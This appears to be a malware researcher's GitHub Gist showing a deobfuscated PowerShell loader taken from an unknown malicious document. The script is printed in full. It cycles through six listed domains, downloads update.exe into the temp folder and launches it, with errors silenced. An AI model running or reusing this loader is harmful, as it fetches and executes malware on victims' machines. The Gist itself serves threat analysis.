Skip to content

Instantly share code, notes, and snippets.

@usualsuspect

usualsuspect/deob_unk_loader.ps1

Created March 15, 2022 13:22
Show Gist options
  • Save usualsuspect/f2196263e2f9bb9be0e526e08089111c to your computer and use it in GitHub Desktop.
Save usualsuspect/f2196263e2f9bb9be0e526e08089111c to your computer and use it in GitHub Desktop.
Download ZIP
Deobfuscated PS script, unknown maldoc
Raw
deob_unk_loader.ps1
$ErrorActionPreference='SilentlyContinue';@("https://web.sunvn.net","https://taisunwin.club","https://web.sunwinvn.vip","http://b29.bet","https://playgo88.fun","https://choigo88.us")|%{$http=[System.Net.WebRequest]::Create("$_/SoftwareUpdate.exe").GetResponse();if($http.ContentLength -ne -1){(New-Object System.Net.WebClient).DownloadFile("$_/update.exe","$env:temp\update.exe");Start-Process -Filepath "$env:temp\update.exe"};$http.close()}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment